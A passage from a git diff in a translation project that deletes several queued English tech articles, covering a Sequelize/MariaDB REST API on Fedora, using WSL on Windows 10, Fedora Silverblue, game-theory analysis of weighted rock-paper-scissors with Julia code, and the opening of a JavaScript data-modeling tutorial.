Connecting a new datasource - -Now, create a new _db_ folder and create a new file _sequelize.js_ there: - -``` -const Sequelize = require('sequelize'), - sequelize = new Sequelize(process.env.db_name || 'users', process.env.db_user || 'dbuser', process.env.db_pass || '123456', { - host: 'localhost', - dialect: 'mariadb', - ssl: true -}) - -module.exports = sequelize -``` - -_Note: For the sake of completeness I‘m including a link to the related Github repo: _ - -Let‘s create a new file _models/user.js_. A nice feature of a Sequelize model is that it helps us to create the necessary tables and colums automatically. The code snippet responsible for doing this is seen below: - -``` -sequelize.sync({ -force: false -}) -``` - -Note: never switch to true with a production database – it would _drop your tables at app start_! - -We will refer to the earlier created sequelize.js this way: - -``` -const sequelize = require('../db/sequelize') -``` - -### Building new routes - -Next, you’ll create a new file _routes/user.js_. You already have _routes/users.js_ from the previous article. You can copy and paste the code in and proceed with editing it. - -You’ll also need a reference to the previously created model. - -``` -const User = require('../models/user') -``` - -Change the route path to _/users_ and also create a new **post** method route. - -Mind the async – await keywords there. An interaction with a database will take some time and this one will do the trick. Yes, an async function returns a promise and this one makes promises easy to use. - -_Note: This code is not production ready, since it would also need to include an authentication feature._ - -We‘ll make the new route working this way: - -``` -const userRouter = require('./routes/user') -app.use(userRouter) -``` - -Let‘s also remove the existing _usersRouter_. The _routes/users.js_ can be deleted too. - -``` -$ npm start -``` - -With the above command, you can launch your new app. - -### Using the terminal to send and retrieve data - -Let’s create a new database record through the post method: - -``` -$ curl -d 'name=Adam' http://localhost:3000/users -``` - -To retrieve the data created through the API, do an HTTP GET request: - -``` -$ curl http://localhost:3000/users -``` - -The console output of the curl command is a JSON array containing data of all the records in the _Users_ table. - -_Note: This is not really the usual end result — an application consumes the API finally. The API will usually also have endpoints to update and remove data._ - -### More automation - -Let‘s assume we might want to create an API serving many tables. It‘s possible and very handy to automatically generate models for Sequelize from our database. Sequelize-auto will do the heavy lifting for us. The resulting files (_models.js_) would be placed and imported within the _/models_ directory. - -``` -$ npm install sequelize-auto -``` - -A node.js connector is needed to use this one and we have it already installed for MariaDB. - -### Conclusion - -It‘s possible to develop and run an API using Fedora, Fedora default MariaDB, JavaScript and efficiently develop a solution like with a noSQL database. For those used to working with MongoDB or a similar noSQL database, Fedora and MariaDB are important open-source enablers. - -* * * - -_Photo by [Mazhar Zandsalimi][3] on [Unsplash][4]._ - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/using-fedora-to-implement-rest-api-in-javascript-part-2/ - -作者:[Vaclav Keil][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/vaclavk/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/05/javascript-api-2-816x345.jpg -[2]: https://fedoramagazine.org/using-fedora-to-quickly-implement-rest-api-with-javascript/ -[3]: https://unsplash.com/@m47h4r?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText -[4]: https://unsplash.com/s/photos/javascript?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText diff --git a/sources/tech/20200519 How to use Windows Subsystem for Linux to open Linux on Windows 10 machines.md b/sources/tech/20200519 How to use Windows Subsystem for Linux to open Linux on Windows 10 machines.md deleted file mode 100644 index 9daaab2ddd..0000000000 --- a/sources/tech/20200519 How to use Windows Subsystem for Linux to open Linux on Windows 10 machines.md +++ /dev/null @@ -1,153 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: (Pinkerr) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to use Windows Subsystem for Linux to open Linux on Windows 10 machines) -[#]: via: (https://www.networkworld.com/article/3543845/how-to-use-windows-subsystem-for-linux-to-open-linux-on-windows-10-machines.html) -[#]: author: (Sandra Henry-Stocker https://www.networkworld.com/author/Sandra-Henry_Stocker/) - -How to use Windows Subsystem for Linux to open Linux on Windows 10 machines -====== -Opening a Linux terminal on a Windows 10 desktop can help you practice your Linux skills and explore Windows from an entirely different point of view. In this post, we look at Ubuntu 18.04 running through Windows Subsystem for Linux (WSL). -[Nicolas Solerieu modified by IDG Comm. / Linux][1] [(CC0)][2] - -Believe it or not, it's possible to open a Linux terminal on a Windows 10 system and you might be surprised how much Linux functionality you’ll be able to get by doing so. - -You can run Linux commands, traipse around the provided Linux file system and even take a novel look at Windows files. The experience isn’t altogether different than opening a terminal window on a Linux desktop, with a few interesting exceptions. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][3] - -What is needed to make this happen is something called the Windows Subsystem for Linux (WSL) and a Windows 10 x86 PC. - -### Linux versions for WSL - -There are a number of options for running Linux on top of Windows. The Linux OS choices include: - - * [Ubuntu 16.04 LTS][4] - * [Ubuntu 18.04 LTS][5] - * [openSUSE Leap 15.1][6] - * [SUSE Linux Enterprise Server 12 SP5][7] - * [SUSE Linux Enterprise Server 15 SP1][8] - * [Kali Linux][9] - * [Debian GNU/Linux][10] - * [Fedora Remix for WSL][11] - * [Pengwin][12] - * [Pengwin Enterprise][13] - * [Alpine WSL][14] - - - -Ubuntu 18.04 LTS is just one option and, in this post, we’ll take a look at how the terminal runs on Windows using this particular distribution and how much it feels like working on a Linux system directly. - -If you want to look into the process of putting an Ubuntu distribution on your Windows system, you can start with this page: - - - -As part of the initial setup of installing your Linux on Windows terminal, you’ll be asked to create your user account. Once you do that and open the terminal, you can start to explore. One of the most noticeable differences between your Linux-on-Windows terminal and a terminal window on a Linux system is that examining processes isn’t going to show you much. After all, Windows will be providing the bulk of the required OS support. You’re likely to see something like this: - -``` -myacct@hostname:~$ ps -ef -UID PID PPID C STIME TTY TIME CMD -root 1 0 0 12:45 ? 00:00:00 /init -root 7 1 0 12:45 tty1 00:00:00 /init -shs 8 7 0 12:45 tty1 00:00:00 -bash -shs 166 8 0 13:32 tty1 00:00:00 ps -ef -``` - -Yes, that's it. - -If you’re anything like me, one of your next moves might be to get a handle on the available commands. If you just count the files in the **/bin** and **/usr/bin** directories, you should see that there are a lot of commands: - -``` -myacct@hostname:~$ ls /bin | wc -l -171 -myacct@hostname:~$ ls /usr/bin | wc -l -707 -``` - -You can list available commands with commands like these (output truncated for this post): - -``` -myacct@hostname:~$ ls /bin | head -25 | column -bash btrfs-map-logical bunzip2 bzegrep bzip2recover -btrfs btrfs-select-super busybox bzexe bzless -btrfs-debug-tree btrfs-zero-log bzcat bzfgrep bzmore -btrfs-find-root btrfsck bzcmp bzgrep cat -btrfs-image btrfstune bzdiff bzip2 chacl - -myacct@hostname:~$ ls /usr/bin | head -25 | column -NF aa-exec apport-cli apt apt-extracttempl* -VGAuthService acpi_listen apport-collect apt-add-repository apt-ftparchive -X11 add-apt-repository apport-unpack apt-cache apt-get -[ addpart appres apt-cdrom apt-key -aa-enabled apport-bug apropos apt-config apt-mark -``` - -You can update the system with **apt** commands (sudo apt update, sudo apt upgrade). You can even use Linux commands to move to the Windows disk partitions as you like and . Notice the last three entries in the output below. These represent several drives on the system. - -``` -myacct@hostname:~$ df -k -Filesystem 1K-blocks Used Available Use% Mounted on -rootfs 973067784 326920584 646147200 34% / -none 973067784 326920584 646147200 34% /dev -none 973067784 326920584 646147200 34% /run -none 973067784 326920584 646147200 34% /run/lock -none 973067784 326920584 646147200 34% /run/shm -none 973067784 326920584 646147200 34% /run/user -cgroup 973067784 326920584 646147200 34% /sys/fs/cgroup -C:\ 973067784 326920584 646147200 34% /mnt/c <== C drive -I:\ 976760000 231268208 745491792 24% /mnt/I <== external drive -L:\ 409599996 159240 409440756 1% /mnt/l <== USB thumb drive -``` - -If you’re interested in moving out of the Linux space and into the Windows portion of the file system within your **WSL** session, you can do that easily. Replace “myname” with your Windows account name and a **cd /mnt/c/Users/_myname_/Desktop** will take you to your Windows desktop. From there, don’t be surprised if in listing your files you see **WRL####.tmp** files that don’t seem to exist when you look at your desktop and don’t show up if you look at your files by opening a command prompt. These appear to be temporary files used by Windows for document management. You might also see files listed that look like **‘~$nux notes.docx’** – perhaps ghosts of files that were once located on your desktop. You won’t see those files when you look at your desktop on Windows – even using a **cmd** window. - -Note that you’ll also see Windows directories such as **‘Program Files’** in single quotes when listed in your Linux terminal as you would any file with blanks included in their names. You can even start a Windows executable from your Linux terminal. For example: - -``` -myacct@hostname: $ cd /mnt/c/WINDOWS/System32/WindowsPowerShell/v1.0 -myacct@hostname: $ powershell.exe -``` - -If you do this, type **exit** when you want to end the **powershell** session. - -Linux commands all seem to work as expected, though I don’t get any output when I run the **who** command. - -Windows **.txt** files will display with **cat** commands, but the last line in a file will likely be displayed on the same line as the following shell prompt. This is because these files won’t end with a linefeed as Linux text files do. - -You can create other accounts and switch user to them (e.g., **su – nemo**) if you like, but not log into them directly. - -You can also update the system with apt commands (**sudo apt update**, **sudo apt upgrade**). - -Join the Network World communities on [Facebook][15] and [LinkedIn][16] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3543845/how-to-use-windows-subsystem-for-linux-to-open-linux-on-windows-10-machines.html - -作者:[Sandra Henry-Stocker][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Sandra-Henry_Stocker/ -[b]: https://github.com/lujun9972 -[1]: https://unsplash.com/photos/4gRNmhGzYZE -[2]: https://creativecommons.org/publicdomain/zero/1.0/ -[3]: https://www.networkworld.com/newsletters/signup.html -[4]: https://www.microsoft.com/store/apps/9pjn388hp8c9 -[5]: https://www.microsoft.com/store/apps/9N9TNGVNDL3Q -[6]: https://www.microsoft.com/store/apps/9NJFZK00FGKV -[7]: https://www.microsoft.com/store/apps/9MZ3D1TRP8T1 -[8]: https://www.microsoft.com/store/apps/9PN498VPMF3Z -[9]: https://www.microsoft.com/store/apps/9PKR34TNCV07 -[10]: https://www.microsoft.com/store/apps/9MSVKQC78PK6 -[11]: https://www.microsoft.com/store/apps/9n6gdm4k2hnc -[12]: https://www.microsoft.com/store/apps/9NV1GV1PXZ6P -[13]: https://www.microsoft.com/store/apps/9N8LP0X93VCP -[14]: https://www.microsoft.com/store/apps/9p804crf0395 -[15]: https://www.facebook.com/NetworkWorld/ -[16]: https://www.linkedin.com/company/network-world diff --git a/sources/tech/20200520 Fedora Silverblue, an introduction for developers.md b/sources/tech/20200520 Fedora Silverblue, an introduction for developers.md deleted file mode 100644 index a112f4ca6d..0000000000 --- a/sources/tech/20200520 Fedora Silverblue, an introduction for developers.md +++ /dev/null @@ -1,140 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Fedora Silverblue, an introduction for developers) -[#]: via: (https://fedoramagazine.org/fedora-silverblue-brings-future-tech-to-the-desktop/) -[#]: author: (Nick Hardiman https://fedoramagazine.org/author/nickhardiman/) - -Fedora Silverblue, an introduction for developers -====== - -![][1] - -The Fedora [Silverblue project][2] takes Fedora workstation, libostree and podman, puts them in a blender, and creates a new Immutable Fedora Workstation. Fedora Silverblue is an OS that stops you from changing the core system files arbitrarily, and readily allows you to change the environment system files. The article [What is Silverblue][3] describes the big picture, and this article drills down into details for the developer. - -Fedora Silverblue ties together a few different projects to make a system that is a git-like object, capable of layering packages, and has a container focused work flow. Silverblue is not the only distribution going down this road. It is the desktop equivalent of [CoreOS][4], the server OS used by [Red Hat Openshift][5]. - -Silverblue’s idea of ‘immutable’ has nothing to do with immutable layers in a container. Silverblue keeps system files immutable by making them read-only. - -### Why immutable? - -Has an upgrade left your system in an unusable state? Have you wondered why one server in a pool of identical machines is being weird? These problems can happen when one system library – one tiny little file out of hundreds – is corrupted, badly configured or the wrong version. Or maybe your upgrade works fine but it’s not what you’d hoped for, and you want to roll back to the previous state. - -An immutable OS is intended to stop problems like these biting you. This is not an easy thing to achieve – simple changes, like flipping the file system between read-write and read-only, may only change a fault-finding headache to a maintenance headache. - -Freezing the system is good news for sysadmins, but what about developers? Setting up a development environment means heavily customizing the system, and filling it with living code that changes over time. The answer is partly a case of combining components, and partly the ability to swap between OS versions. - -### How it works - -So how do you get the benefits of immutability without losing the ability to do your work? If you’re thinking ‘containers’, good guess – part of the solution uses [podman][6]. But much of the work happens underneath the container layer, at the OS level. - -Fedora Silverblue ties together a few different projects to turn an immutable OS into a usable workstation. Silverblue uses libostree to provide the base system, lets you edit config files in /etc/, and provides three different ways to install packages. - - * [rpm-ostree][7] installs RPM packages, similar to DNF in the traditional Fedora workstation. Use this for things that shouldn’t go in containers, like KVM/libvirt. - * [flatpak][8] installs packages from a central flathub repo. This is the one-stop shop for graphical desktop apps like LibreOffice. - * The traditional _dnf install_ still works, but only inside a [toolbox][9] (a Fedora container). A developer’s workbench goes in a toolbox. - - - -If you want to know more about these components, check out [Pieces of Silverblue][10]. - -### Rolling back and pinning upgrades - -All operating systems need upgrades. Features are added, security holes are plugged and bugs are squashed. But sometimes an upgrade is not a developer’s friend. - -A developer depends on many things to get the job done. A good development environment is stuffed with libraries, editors, toolchains and apps that are controlled by the OS, not the developer. An upgrade may cause trouble. Have any of these situations happened to you? - - * A new encryption library is too strict, and an upgrade stopped an API working. - * Code works well, but has deprecated syntax. An upgrade brought error-throwing misery. - * The development environment is lovingly hand-crafted. An upgrade broke dependencies and added conflicts. - - - -In a traditional environment, unpicking a troublesome upgrade is hard. In Silverblue, it’s easy. Silverblue keeps two copies of the OS – your current upgrade and your previous version. Point the OS at the previous version, reboot, and you’ve got your old system files back. - -You aren’t limited to two copies of your file system – you can keep more by pinning your favorite versions. Dusty Mabe, one of the engineers who has been working on the system since the [Project Atomic][11] days, describes how to pin extra copies of the OS in his article [Pinning Deployments in OSTree Based Systems][12]. - -Your home directory is not affected by rolling back. Rpm-ostree does not touch /etc/ and /var/. - -### System updates and package installs - -Silverblue’s rpm-ostree treats all the files as one object, stored in a repository. The working file system is a checked-out copy of this object. After a system update, you get two objects in that repository – one current object and one updated object. The updated object is checked out and becomes the new file system. - -You install your workhorse applications in toolboxes, which provide container isolation. And you install your desktop applications using Flatpak. - -This new OS requires a shift in approach. For instance, you don’t have to keep only one copy of your system files – you can store a few and select which one you use. That means you can swap back and forth between an old Fedora release and the rawhide (development) version in a matter of minutes. - -### Build your own Silverblue VM - -You can safely install Fedora Silverblue in a VM on your workstation. If you’ve got a hypervisor and half an hour to spare (10 minutes for ISO download, and 20 minutes for the build), you can see for yourself. - - 1. Download Fedora Silverblue ISO from - 2. (not Fedora workstation from ). - 3. Boot a VM with the Fedora Silverblue ISO. You can squeeze Fedora into compute resources of 1 CPU, 1024MiB of memory and 12GiB of storage, but bigger is better. - 4. Answer [Anaconda][13]’s questions. - 5. Wait for the [Gnome][14] desktop to appear. - 6. Answer [Initial Setup][15]’s questions. - - - -Then you’re ready to set up your developer’s tools. If you’re looking for an IDE, check these out. Use flatpak on the desktop to install them. - - * [Gnome Builder][16] (Gnome’s official IDE) - * [Eclipse][17] - * [Code::Blocks][18] - - - -Finally, use the CLI to create your first toolbox. Load it with modules using [npm][19], [gem][20], [pip][21], [git][22] or your other favorite tools. - -### Help! - -If you get stuck, ask questions at the [forum][23]. - -If you’re looking for ideas about how to use Silverblue, read articles in the [magazine][24]. - -### Is Silverblue for you? - -Silverblue is full of shiny new tech. That in itself is enough to attract the cool kids, like moths to a flame. But this OS is not for everyone. It’s a young system, so some bugs will still be lurking in there. And pioneering tech requires a change of habit – that’s extra cognitive load that the new user may not want to take on. - -The OS brings immutable benefits, like keeping your system files safe. It also brings some drawbacks, like the need to reboot after adding system packages. Silverblue also enables new ways of working. If you want to explore new directions in the OS, find out if Silverblue brings benefits to your work. - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/fedora-silverblue-brings-future-tech-to-the-desktop/ - -作者:[Nick Hardiman][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/nickhardiman/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/04/silverblue-introfordev-816x345.png -[2]: https://silverblue.fedoraproject.org/ -[3]: https://fedoramagazine.org/what-is-silverblue/ -[4]: http://coreos.com/ -[5]: https://www.openshift.com/products/container-platform -[6]: https://github.com/containers/libpod -[7]: https://rpm-ostree.readthedocs.io/en/latest/ -[8]: https://docs.flatpak.org/en/latest/ -[9]: https://github.com/containers/toolbox -[10]: https://fedoramagazine.org/pieces-of-fedora-silverblue/ -[11]: https://www.projectatomic.io/ -[12]: https://www.projectatomic.io/blog/2018/05/pinning-deployments-ostree-based-systems/ -[13]: https://fedoraproject.org/wiki/Anaconda -[14]: https://www.gnome.org/ -[15]: https://fedoraproject.org/wiki/InitialSetup -[16]: https://wiki.gnome.org/Apps/Builder -[17]: https://www.eclipse.org/ide/ -[18]: http://www.codeblocks.org/ -[19]: https://www.npmjs.com/package/package -[20]: https://rubygems.org/ -[21]: https://pypi.org/ -[22]: https://git-scm.com/ -[23]: https://discussion.fedoraproject.org/c/desktop/silverblue/6 -[24]: https://fedoramagazine.org/?s=silverblue diff --git a/sources/tech/20200521 Glico (Weighted Rock Paper Scissors).md b/sources/tech/20200521 Glico (Weighted Rock Paper Scissors).md deleted file mode 100644 index 77e3cfb5ed..0000000000 --- a/sources/tech/20200521 Glico (Weighted Rock Paper Scissors).md +++ /dev/null @@ -1,141 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Glico (Weighted Rock Paper Scissors)) -[#]: via: (https://theartofmachinery.com/2020/05/21/glico_weighted_rock_paper_scissors.html) -[#]: author: (Simon Arneaud https://theartofmachinery.com) - -Glico (Weighted Rock Paper Scissors) -====== - -This still isn’t the blog post I said I was going to write about now, but I figured some game theory would make a good post at the moment, especially when a lot of people I know are working at home with kids who need entertaining. Here’s some stuff about a traditional Japanese kids’ game called Glico, a form of weighted Rock Paper Scissors (RPS). - -### Glico - -I’ll assume you’re familiar with regular RPS. It’s pretty obvious how to play well: the three plays, “rock”, “paper” and “scissors”, are equally strong, so the only trick is to play them unpredictably enough. - -But what happens if the three plays have different values? Weighted RPS, under the name “Glico”, has been a well-known Japanese children’s game since at least before WWII, but let me explain an English adaptation. Traditionally it’s played starting at the bottom of a flight of stairs, and the aim is to get to the top first. Players can climb up steps by winning rounds of RPS. The trick is that the number of steps depends on the winning hand in each round. A player who wins with “rock” gets to climb up four steps by spelling out R-O-C-K, and similarly “paper” is worth five steps and “scissors” worth eight. This simple twist to the game creates whole new layers of offence and defence as players struggle to win with “scissors” as much as possible, without being too predictable and vulnerable. - -(The rules for the Japanese version vary by region, but usually “rock” is worth 3 steps, while “paper” and “scissors” are worth 6. The mnemonic is that “rock”, “paper” and “scissors” are referred to as グー, パー and チョキ respectively, and the words spelled out when playing are グリコ (“Glico”, a food/confectionary brand), パイナップル (pineapple) and チョコレート (chocolate).) - -Just a few notes before getting into the maths: The game works best with two players, but in the traditional rules for three or more players, each round is handled by having multiple rematches. Each time there’s a clear winning hand (e.g., two players with “paper” beating one with “rock”) the losers are eliminated until there’s one winner. That can take a long time, so cycling systematically between pairs of players might be faster for several players. (I’ll assume two players from now on.) Also, older kids sometimes add an extra challenge by requiring an exact landing at the top of the stairs to win. For example, if you’re five steps from the top, only “paper” will win; “scissors” will overshoot by three steps, and you’ll end up three steps back down from the top. Be warned: that makes gameplay a lot harder. - -### Calculating the optimal strategy - -Simple strategies like “just play rock” are what game theorists call “pure strategies”. By design, no pure strategy in RPS is better than all others, and an adaptive opponent can quickly learn to exploit any pure strategy (e.g., by always playing “paper” against someone who always plays “rock”). Any decent player will play RPS with something like a “mixed strategy” (selecting from the pure strategies at random, maybe with different probabilities). Game theory tells us that finite, two-player, zero-sum games always have optimal mixed strategies — i.e., a mixed strategy that’s as good or better than any other, even against an adaptive opponent. You might do better by exploiting a weak opponent, but you can’t do better against a perfect one. In plain RPS, the statistically unbeatable strategy is to play each hand with equal probability (\frac{1}{3}). - -Glico is made up of multiple rounds of weighted RPS. A truly optimal player won’t just use one set of probabilities (p_{r}), (p_{p}) and (p_{s}) for playing “rock”, “paper” and “scissors” each round. The optimal probabilities will vary depending the position of both players on the stairs. For example, a player who is four steps from winning is either happy with any winning hand, or only wants “rock”, depending on the rules, and (theoretically) both players should recognise that and adapt their probabilities accordingly. However, it’s more practical to play with an optimal greedy strategy — i.e., assuming everyone is just trying to get the maximum step value each round. - -I’ll calculate an optimal greedy strategy for weighted RPS in two ways. One way is longer but uses nothing but high school algebra and logical thinking, while the other way uses the power of linear programming. - -#### The longer way - -The greedy version of Glico has no end goal; the players are just trying to win points. It helps with solving the game if we make it zero sum — any time you win (N) points, your opponent loses (N) points, and vice versa. That just scales and shifts the score per round, so it doesn’t change the optimal strategy. Why do it? We know that optimal players can’t get any advantage over each other because the game is symmetric. If the game is zero sum, that means that no strategy can have an expected value of more than 0 points. That lets us write some equations. For example, playing “rock” might win you 4 points against “scissors”, or lose you 5 against “paper”. Against an optimal opponent, we can say - -[4p_{s} - 5p_{p} \leq 0] - -Is the inequality necessary? When would a pure strategy have a negative value against a non-adaptive but optimal player? Imagine if we added a fourth pure strategy, “bomb”, that simply gave 1000 points to the opponent. Obviously no optimal player would ever play “bomb”, so (p_{b} = 0). Playing “bomb” against an optimal player would have expected value -1000. We can say that some pure strategies are just _bad_: they have suboptimal value against an optimal opponent, and an optimal player will never play them. Other pure strategies have optimal value against an optimal opponent, and they’re reasonable to include in an optimal strategy. - -Bad pure strategies aren’t always as obvious as “bomb”, but we can argue that none of the pure strategies in RPS are bad. “Rock” is the only way to beat “scissors”, and “paper” is the only way to beat “rock”, and “scissors” is the only way to beat “paper”. At least one must be in the optimal strategy, so we can expect them all to be. So let’s make that (\leq) into (=), and add the equations for playing “paper” and “scissors”, plus the fact that these are probabilities that add up to 1: - -[\begin{matrix} {4p_{s} - 5p_{p}} & {= 0} \ {5p_{r} - 8p_{s}} & {= 0} \ {8p_{p} - 4p_{r}} & {= 0} \ {p_{r} + p_{p} + p_{s}} & {= 1} \ \end{matrix}] - -That’s a system of linear equations that can be solved algorithmically using Gaussian elimination — either by hand or by using any good numerical algorithms software. I won’t go into the details, but here’s the solution: - -[\begin{matrix} p_{r} & {= 0.4706} \ p_{p} & {= 0.2353} \ p_{s} & {= 0.2941} \ \end{matrix}] - -Even though it’s worth the least, an optimal player will play “rock” almost half the time to counterattack “scissors”. The rest of the time is split between “paper” and “scissors”, with a slight bias towards “scissors”. - -#### The powerful way - -The previous solution needed special-case analysis: it exploited the symmetry of the game, and made some guesses about how good/bad the pure strategies are. What about games that are more complex, or maybe not even symmetric (say, because one player has a handicap)? There’s a more general solution using what’s called linear programming (which dates to when “programming” just meant “scheduling” or “planning”). - -By the way, linear programming (LP) has a funny place in computer science. There are some industries and academic circles where LP and generalisations like mixed integer programming are super hot. Then there are computer science textbooks that never even mention them, so there are industries where the whole topic is pretty much unheard of. It might be because it wasn’t even known for a long time if LP problems can be solved in polynomial time (they can), so LP doesn’t have the same theoretical elegance as, say, shortest path finding, even if it has a lot of practical use. - -Anyway, solving weighted RPS with LP is pretty straightforward. We just need to describe the game using a bunch of linear inequalities in multiple variables, and express strategic value as a linear function that can be optimised. That’s very similar to what was done before, but this time we won’t try to guess at the values of any strategies. We’ll just assume we’re choosing values (p_{r}), (p_{p}) and (p_{s}) to play against an opponent who scores an average (v) against us each round. The opponent is smart enough to choose a strategy that’s as least as good as any pure strategy, so we can say - -[\begin{matrix} {4p_{s} - 5p_{p}} & {\leq v} \ {5p_{r} - 8p_{s}} & {\leq v} \ {8p_{p} - 4p_{r}} & {\leq v} \ \end{matrix}] - -The opponent can only play some combination of “rock”, “paper” and “scissors”, so (v) can’t be strictly greater than all of them — at least one of the inequalities above must be tight. To model the gameplay fully, the only other constraints we need are the rules of probability: - -[\begin{matrix} {p_{r} + p_{p} + p_{s}} & {= 1} \ p_{r} & {\geq 0} \ p_{p} & {\geq 0} \ p_{s} & {\geq 0} \ \end{matrix}] - -Now we’ve modelled the problem, we just need to express what needs to be optimised. That’s actually dead simple: we just want to minimise (v), the average score the opponent can win from us. An LP solver can find a set of values for all variables that minimises (v) within the constraints, and we can read off the optimal strategy directly. - -I’ve tried a few tools, and the [Julia][1] library [JuMP][2] has my current favourite FOSS API for throwaway optimisation problems. Here’s some code: - -``` -# You might need Pkg.add("JuMP"); Pkg.add("GLPK") -using JuMP -using GLPK - -game = Model(GLPK.Optimizer) - -@variable(game, 0 <= pr <= 1) -@variable(game, 0 <= pp <= 1) -@variable(game, 0 <= ps <= 1) -@variable(game, v) - -@constraint(game, ptotal, pr + pp + ps == 1) -@constraint(game, rock, 4*ps - 5*pp <= v) -@constraint(game, paper, 5*pr - 8*ps <= v) -@constraint(game, scissors, 8*pp - 4*pr <= v) - -@objective(game, Min, v) - -println(game) -optimize!(game) - -println("Opponent's value: ", value(v)) -println("Rock: ", value(pr)) -println("Paper: ", value(pp)) -println("Scissors: ", value(ps)) -``` - -Here’s the output: - -``` -Min v -Subject to - ptotal : pr + pp + ps = 1.0 - rock : 4 ps - 5 pp - v ≤ 0.0 - paper : 5 pr - 8 ps - v ≤ 0.0 - scissors : 8 pp - 4 pr - v ≤ 0.0 - pr ≥ 0.0 - pp ≥ 0.0 - ps ≥ 0.0 - pr ≤ 1.0 - pp ≤ 1.0 - ps ≤ 1.0 - -Opponent's value: 0.0 -Rock: 0.47058823529411764 -Paper: 0.23529411764705882 -Scissors: 0.29411764705882354 -``` - -As argued in the previous solution, the best value the opponent can get against the optimal player is 0. - -### What does optimality mean? - -The optimal solution was calculated assuming an all-powerful opponent. It guarantees that even the best weighted RPS player can’t get an advantage over you, but it turns out you can’t get an advantage over a terrible player, either, if you insist on playing this “optimal” strategy. That’s because weighted RPS has no bad plays, in the sense that “bomb” is bad. _Any_ strategy played against the above “optimal” strategy will have expected value of 0, so it’s really a defensive, or “safe” strategy. To play truly optimally and win against a bad player, you’ll have to adapt your strategy. For example, if your opponent plays “scissors” too often and “paper” not enough, you should adapt by playing “rock” more often. Of course, your opponent might just be pretending to be weak, and could start taking advantage of your deviation from the safe strategy. - -Games don’t always work out like that. For example, in theory, you could derive an optimal safe strategy for more complex games like poker. Such a strategy would tend to win against normal humans because even the best normal humans make bad poker plays. On the other hand, a “shark” at the table might be able to win against the “fish” faster by exploiting their weaknesses more aggressively. If you’re thinking of using LP to directly calculate a strategy for Texas Hold’em, though, sorry, but you’ll hit a combinatorial explosion of pure strategies as you account for all the cases like “if I’m dealt AJ on the big blind and I call a four-blind raise from the button preflop and then the flop is a rainbow 3K9…”. Only heavily simplified toy poker games are solvable with the general approach. - --------------------------------------------------------------------------------- - -via: https://theartofmachinery.com/2020/05/21/glico_weighted_rock_paper_scissors.html - -作者:[Simon Arneaud][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://theartofmachinery.com -[b]: https://github.com/lujun9972 -[1]: https://julialang.org/ -[2]: https://github.com/JuliaOpt/JuMP.jl diff --git a/sources/tech/20200522 Fast data modeling with JavaScript.md b/sources/tech/20200522 Fast data modeling with JavaScript.md deleted file mode 100644 index 9c565d6e90..0000000000 --- a/sources/tech/20200522 Fast data modeling with JavaScript.md +++ /dev/null @@ -1,452 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Fast data modeling with JavaScript) -[#]: via: (https://opensource.com/article/20/5/data-modeling-javascript) -[#]: author: (Szymon https://opensource.com/users/schodevio) - -Fast data modeling with JavaScript -====== -This tutorial showcases a method to model data in just a few minutes. -![Analytics: Charts and Graphs][1] - -As a backend developer at the [Railwaymen][2], a software house in Kraków, Poland, some of my tasks rely on models that manipulate and customize data retrieved from a database. When I wanted to improve my skills in frontend frameworks, I [chose Vue][3], and I thought it would be good to have a similar way to model data in a store. I started with some libraries that I found through [NPM][4], but they offered many more features than I needed. - -So I decided to build my own solution, and I was very surprised that the base took less than 15 lines of code and is very flexible. I implemented this solution in an open source application which I developed and called [Evally][5] - a web app that helps businesses keep track of their employees' performance reviews and professional development. It reminds managers or HR representatives about employees' upcoming evaluations and gathers all of the data needed to assess their performance in the fairest way. - -### Model and list - -The only things you need to do are to create a class and use the defaultsDeep function in the [Lodash][6] JavaScript library: - - -``` -`_.defaultsDeep(object, [sources])` -``` - -Arguments: - - * `object (Object)`: The destination object - * `[sources] (...Object)`: The source objects - - - -Returns: - - * `(Object)`: Returns object - - - -This helper function: [Lodash Docs][7] - -> "Assigns recursively own and inherited enumerable string keyed properties of source objects to the destination object for all destination properties that resolve to undefined. Source objects are applied from left to right. Once a property is set, additional values of the same property are ignored." - -For example: - - -``` -_.defaultsDeep({ 'a': { 'b': 2 } }, { 'a': { 'b': 1, 'c': 3 } }) - // => { 'a': { 'b': 2, 'c': 3 } } -``` - -That's all! To try it out, create a file called **base.js** and import the defaultsDeep function from the Lodash package: - - -``` - // base.js - import defaultsDeep from "lodash/defaultsDeep"; -``` - -Next, create and export the Model class, where constructor will use the Lodash helper function to assign values to all passed attributes and initialize the 